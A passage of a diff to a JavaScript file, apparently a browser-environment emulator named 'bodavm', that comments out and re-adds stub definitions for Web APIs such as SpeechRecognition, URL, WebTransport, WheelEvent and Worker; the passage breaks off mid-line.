"SpeechGrammar", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechGrammar', "weight", {configurable:true, enumerable:true, get:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_get", arguments)}, set:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_set", arguments)}},'prototype'); - -// SpeechGrammarList对象 -bodavm.memory.globalobj['SpeechGrammarList'] = function SpeechGrammarList(){this._boarg= new bodaobj.window.SpeechGrammarList();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammarList'], "SpeechGrammarList"); -bodavm.toolsFunc.defineProperty('SpeechGrammarList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromString", {configurable:true, enumerable:true, writable:true, value:function addFromString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromUri", {configurable:true, enumerable:true, writable:true, value:function addFromUri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromUri", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechGrammarList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "item", arguments)}},'prototype'); - -// SpeechRecognition对象 +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", {configurable:true, enumerable:true, writable:true, value:function setRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments)}},'prototype'); */ + +webkitRTCPeerConnection = bodavm.memory.globalobj['RTCPeerConnection']; +// SpeechGrammar对象 + +//bodavm.memory.globalobj['SpeechGrammar'] = function SpeechGrammar(){this._boarg= new bodaobj.window.SpeechGrammar();this._boisinit=bodavm.config.isinit} + +//bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammar'], "SpeechGrammar"); + +//bodavm.toolsFunc.defineProperty('SpeechGrammar', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "src_set", arguments)}},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammar', "weight", {configurable:true, enumerable:true, get:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_get", arguments)}, set:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_set", arguments)}},'prototype'); + +webkitSpeechGrammar = bodavm.memory.globalobj['SpeechGrammar']; +// SpeechGrammarList对象 + +//bodavm.memory.globalobj['SpeechGrammarList'] = function SpeechGrammarList(){this._boarg= new bodaobj.window.SpeechGrammarList();this._boisinit=bodavm.config.isinit} + +//bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammarList'], "SpeechGrammarList"); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "length_get", arguments)}, set:undefined},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromString", {configurable:true, enumerable:true, writable:true, value:function addFromString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromString", arguments)}},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromUri", {configurable:true, enumerable:true, writable:true, value:function addFromUri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromUri", arguments)}},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammarList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "item", arguments)}},'prototype'); + +webkitSpeechGrammarList = bodavm.memory.globalobj['SpeechGrammarList']; +// SpeechRecognition对象 +/* bodavm.memory.globalobj['SpeechRecognition'] = function SpeechRecognition(){this._boarg= new bodaobj.window.SpeechRecognition();this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognition'], "SpeechRecognition"); bodavm.memory.globalobj['SpeechRecognition'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; @@ -20404,25 +81568,34 @@ bodavm.toolsFunc.defineProperty('SpeechRecognition', "onstart", {configurable:tr bodavm.toolsFunc.defineProperty('SpeechRecognition', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "onend_set", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('SpeechRecognition', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "abort", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('SpeechRecognition', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechRecognition', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "stop", arguments)}},'prototype'); - -// SpeechRecognitionErrorEvent对象 +bodavm.toolsFunc.defineProperty('SpeechRecognition', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognition'].prototype, "SpeechRecognition", "stop", arguments)}},'prototype'); */ +webkitSpeechRecognition = bodavm.memory.globalobj['SpeechRecognition']; +// SpeechRecognitionErrorEvent对象 +/* bodavm.memory.globalobj['SpeechRecognitionErrorEvent'] = function SpeechRecognitionErrorEvent(){if (!(this instanceof SpeechRecognitionErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechRecognitionErrorEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognitionErrorEvent'], "SpeechRecognitionErrorEvent"); bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; bodavm.toolsFunc.defineProperty('SpeechRecognitionErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype, "SpeechRecognitionErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechRecognitionErrorEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype, "SpeechRecognitionErrorEvent", "message_get", arguments)}, set:undefined},'prototype'); - -// SpeechRecognitionEvent对象 -bodavm.memory.globalobj['SpeechRecognitionEvent'] = function SpeechRecognitionEvent(){if (!(this instanceof SpeechRecognitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechRecognitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognitionEvent'], "SpeechRecognitionEvent"); -bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SpeechRecognitionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "resultIndex", {configurable:true, enumerable:true, get:function resultIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "resultIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "results", {configurable:true, enumerable:true, get:function results (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "results_get", arguments)}, set:undefined},'prototype'); - -// URL对象 +bodavm.toolsFunc.defineProperty('SpeechRecognitionErrorEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionErrorEvent'].prototype, "SpeechRecognitionErrorEvent", "message_get", arguments)}, set:undefined},'prototype'); */ +webkitSpeechRecognitionError = bodavm.memory.globalobj['SpeechRecognitionErrorEvent']; +// SpeechRecognitionEvent对象 + +//bodavm.memory.globalobj['SpeechRecognitionEvent'] = function SpeechRecognitionEvent(){if (!(this instanceof SpeechRecognitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechRecognitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} + +//bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechRecognitionEvent'], "SpeechRecognitionEvent"); + +//bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; + +//bodavm.memory.globalobj['SpeechRecognitionEvent'].__proto__=bodavm.memory.globalobj['Event']; + +//bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "resultIndex", {configurable:true, enumerable:true, get:function resultIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "resultIndex_get", arguments)}, set:undefined},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechRecognitionEvent', "results", {configurable:true, enumerable:true, get:function results (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechRecognitionEvent'].prototype, "SpeechRecognitionEvent", "results_get", arguments)}, set:undefined},'prototype'); + +webkitSpeechRecognitionEvent = bodavm.memory.globalobj['SpeechRecognitionEvent']; +// URL对象 +/* bodavm.memory.globalobj['URL'] = function URL(){if (!(this instanceof URL)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'URL': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URL'], "URL"); bodavm.toolsFunc.defineProperty('URL', "createObjectURL", {configurable:true, enumerable:true, writable:true, value:function createObjectURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "createObjectURL", arguments)}}); @@ -20441,487 +81614,2755 @@ bodavm.toolsFunc.defineProperty('URL', "hash", {configurable:true, enumerable:tr bodavm.toolsFunc.defineProperty('URL', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_set", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('URL', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toJSON", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('URL', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toString", arguments)}},'prototype'); - -// WebTransport对象 -bodavm.memory.globalobj['WebTransport'] = function WebTransport(){if (!(this instanceof WebTransport)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebTransport': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransport'], "WebTransport"); -bodavm.toolsFunc.defineProperty('WebTransport', "incomingUnidirectionalStreams", {configurable:true, enumerable:true, get:function incomingUnidirectionalStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingUnidirectionalStreams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "incomingBidirectionalStreams", {configurable:true, enumerable:true, get:function incomingBidirectionalStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingBidirectionalStreams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "datagrams", {configurable:true, enumerable:true, get:function datagrams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "datagrams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "createBidirectionalStream", {configurable:true, enumerable:true, writable:true, value:function createBidirectionalStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createBidirectionalStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransport', "createUnidirectionalStream", {configurable:true, enumerable:true, writable:true, value:function createUnidirectionalStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createUnidirectionalStream", arguments)}},'prototype'); - -// WebTransportBidirectionalStream对象 -bodavm.memory.globalobj['WebTransportBidirectionalStream'] = function WebTransportBidirectionalStream(){if (!(this instanceof WebTransportBidirectionalStream)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportBidirectionalStream'], "WebTransportBidirectionalStream"); -bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "writable_get", arguments)}, set:undefined},'prototype'); - -// WebTransportDatagramDuplexStream对象 -bodavm.memory.globalobj['WebTransportDatagramDuplexStream'] = function WebTransportDatagramDuplexStream(){if (!(this instanceof WebTransportDatagramDuplexStream)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportDatagramDuplexStream'], "WebTransportDatagramDuplexStream"); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "writable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "maxDatagramSize", {configurable:true, enumerable:true, get:function maxDatagramSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "maxDatagramSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingMaxAge", {configurable:true, enumerable:true, get:function incomingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_get", arguments)}, set:function incomingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingMaxAge", {configurable:true, enumerable:true, get:function outgoingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_get", arguments)}, set:function outgoingMaxAge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingHighWaterMark", {configurable:true, enumerable:true, get:function incomingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_get", arguments)}, set:function incomingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingHighWaterMark", {configurable:true, enumerable:true, get:function outgoingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_get", arguments)}, set:function outgoingHighWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_set", arguments)}},'prototype'); - -// WebTransportError对象 -bodavm.memory.globalobj['WebTransportError'] = function WebTransportError(){this._boarg= new bodaobj.window.WebTransportError();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportError'], "WebTransportError"); -bodavm.memory.globalobj['WebTransportError'].prototype.__proto__=bodavm.memory.globalobj['DOMException'].prototype; -bodavm.memory.globalobj['WebTransportError'].__proto__=bodavm.memory.globalobj['DOMException']; -bodavm.toolsFunc.defineProperty('WebTransportError', "streamErrorCode", {configurable:true, enumerable:true, get:function streamErrorCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "streamErrorCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebTransportError', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "source_get", arguments)}, set:undefined},'prototype'); - -// WheelEvent对象 -bodavm.memory.globalobj['WheelEvent'] = function WheelEvent(){if (!(this instanceof WheelEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WheelEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WheelEvent'], "WheelEvent"); -bodavm.memory.globalobj['WheelEvent'].prototype.__proto__=bodavm.memory.globalobj['MouseEvent'].prototype; -bodavm.memory.globalobj['WheelEvent'].__proto__=bodavm.memory.globalobj['MouseEvent']; -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaX", {configurable:true, enumerable:true, get:function deltaX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaY", {configurable:true, enumerable:true, get:function deltaY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaZ", {configurable:true, enumerable:true, get:function deltaZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "deltaMode", {configurable:true, enumerable:true, get:function deltaMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaX", {configurable:true, enumerable:true, get:function wheelDeltaX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaY", {configurable:true, enumerable:true, get:function wheelDeltaY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDelta", {configurable:true, enumerable:true, get:function wheelDelta (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDelta_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -// WindowControlsOverlay对象 -bodavm.memory.globalobj['WindowControlsOverlay'] = function WindowControlsOverlay(){if (!(this instanceof WindowControlsOverlay)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlay'], "WindowControlsOverlay"); -bodavm.memory.globalobj['WindowControlsOverlay'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WindowControlsOverlay'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "visible", {configurable:true, enumerable:true, get:function visible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "visible_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "ongeometrychange", {configurable:true, enumerable:true, get:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_get", arguments)}, set:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "getTitlebarAreaRect", {configurable:true, enumerable:true, writable:true, value:function getTitlebarAreaRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "getTitlebarAreaRect", arguments)}},'prototype'); - -// WindowControlsOverlayGeometryChangeEvent对象 -bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'] = function WindowControlsOverlayGeometryChangeEvent(){if (!(this instanceof WindowControlsOverlayGeometryChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WindowControlsOverlayGeometryChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'], "WindowControlsOverlayGeometryChangeEvent"); -bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "titlebarAreaRect", {configurable:true, enumerable:true, get:function titlebarAreaRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "titlebarAreaRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "visible", {configurable:true, enumerable:true, get:function visible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "visible_get", arguments)}, set:undefined},'prototype'); - -// Worker对象 -bodavm.memory.globalobj['Worker'] = function Worker(){if (!(this instanceof Worker)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Worker': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worker'], "Worker"); -bodavm.memory.globalobj['Worker'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Worker'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Worker', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Worker', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "postMessage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Worker', "terminate", {configurable:true, enumerable:true, writable:true, value:function terminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "terminate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Worker', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_set", arguments)}},'prototype'); - -// WritableStreamDefaultController对象 -bodavm.memory.globalobj['WritableStreamDefaultController'] = function WritableStreamDefaultController(){if (!(this instanceof WritableStreamDefaultController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultController'], "WritableStreamDefaultController"); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "error", 